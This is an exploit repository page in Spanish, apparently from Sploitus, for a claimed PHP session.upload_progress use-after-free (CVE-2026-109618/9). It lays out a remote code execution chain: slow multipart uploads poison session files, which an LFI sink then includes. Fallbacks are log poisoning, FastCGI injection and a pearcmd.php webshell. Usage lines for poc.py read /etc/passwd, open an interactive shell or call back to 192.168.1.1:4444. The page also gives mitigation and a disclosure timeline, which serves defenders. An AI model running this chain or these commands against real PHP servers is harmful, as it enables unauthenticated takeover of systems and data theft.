Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
> **Heap Use-After-Free en `session.upload_progress` de PHP** · CVSS 9.2 Crítico (v4.0)
> Netlogic Red Team · Solo para investigación de seguridad autorizada
El manejador RFC 1867 de subida de archivos en `ext/session` de PHP guarda punteros `zval*` en bruto dentro del `HashTable` (`arData`) de sesión. Cuando una pausa entre eventos `FILE_DATA` supera `session.upload_progress.min_freq`, se dispara una reinicialización de sesión que **libera el HashTable** mientras los punteros siguen cacheados. La siguiente escritura a través de esos punteros obsoletos es un clásico **heap use-after-free**, explotable para RCE en cualquier stack PHP-FPM + nginx (o Apache) donde `session.upload_progress.enabled = On` (valor por defecto) y la aplicación tenga un sink de LFI.
| CVE | CVE-2026-109618 (UAF) · CVE-2026-109619 (cadena RCE) |
| Afectado | PHP 5.4.0 – 8.2.34 / 8.3.35 / 8.4.26 / 8.5.11 |
| Parcheado | PHP 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 |
| Componente | `ext/session/session.c` — `php_session_rfc1867_callback()` |
| Vector | Red, sin autenticación, sin interacción |
| Primitivas | Heap UAF → envenenamiento de archivo de sesión → include LFI → RCE |
├── poc.py # Exploit completo (Netlogic Red Team)
│ └── php-uaf/ # Lab Docker — PHP 8.4.4-fpm + nginx (vulnerable)
│ ├── conf/ # php.ini, nginx.conf, php-fpm.conf,
│ ├── webroot/ # index.php con LFI intencional (requiere LAB_MODE=true)
│ └── scripts/ # Scripts internos del PoC
└── cve-candidate/ # PoCs adicionales (Fiber UAF, desbordamiento Lexbor)
# 1. Construir y levantar el lab vulnerable
# 3. Lanzar el exploit desde la raíz del repo
python3 poc.py "id"
[+] Session poison RCE — uid=33(www-data) gid=33(www-data)
2. Iniciar POST multipart lento con cabecera PHP_SESSION_UPLOAD_PROGRESS
→ pausa entre eventos FILE_DATA > session.upload_progress.min_freq
→ HashTable de sesión liberado (UAF disparado)
→ archivo de sesión ahora contiene payload PHP controlado por el atacante
3. Lanzar peticiones GET concurrentes que hacen include() del archivo de sesión
envenenado vía el sink LFI (?page=/var/lib/php/sessions/sess_)
4. Extraer salida del comando mediante marcador OUTPUT_DELIM
Fallback: envenenamiento de log (access/error log)
Fallback: inyección por FastCGI env (sin LFI, puerto 9000 accesible)
Fallback: webshell vía pearcmd.php de PEAR
python3 poc.py "cat /etc/passwd"
python3 poc.py --interactive
python3 poc.py "id" --lfi-param page
python3 poc.py --probe-only
python3 poc.py --callback 192.168.1.1:4444
docker compose -f docker-compose.mitigated.yml up --build -d
# El exploit debería fallar — session.upload_progress.enabled = Off
// session.c:3292 — puntero obsoleto cacheado en HashTable arData
zend_hash_str_update(Z_ARRVAL_P(post_bytes_processed), key, klen, &tmp);
// ^ zval* apuntando a arData queda cacheado en el array de progreso
// ... pausa en el multipart > min_freq dispara reinicialización ...
// session.c:236-252 — php_session_track_init() libera el HashTable
zend_array_destroy(Z_ARR_P(session_vars)); // arData liberado — puntero ahora cuelga
// session.c:3331 — escritura a través del puntero colgante
ZVAL_LONG(bytes_processed, (zend_long)SG(rfc1867_uploaded_files)->size); // escritura UAF
| Rama | Vulnerable hasta | Parcheado en |
|------|-----------------|--------------|
| PHP ≤ 8.1 | todas | sin backport — EOL |
; php.ini — deshabilita el tracking de progreso de subida vulnerable
O actualizar a la versión parcheada correspondiente a tu rama de PHP.
| 2026-09-14 | Descubrimiento interno durante engagement de red team |
| 2026-09-21 | PoC desarrollado y confirmado en PHP 8.4.4 |
| 2026-09-28 | Reporte enviado a [email protected] |
| 2026-10-07 | PHP team confirma, asigna CVE-2026-109618/9 |
| 2026-10-21 | Parches liberados (PHP 8.2.35/8.3.36/8.4.27/8.5.12) |
> **Aviso legal**: Este repositorio se publica con fines de investigación defensiva de seguridad y pruebas de penetración autorizadas. Ejecutar este exploit contra sistemas que no sean de tu propiedad o para los que no tengas permiso escrito explícito es ilegal. Netlogic no asume responsabilidad por usos indebidos.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
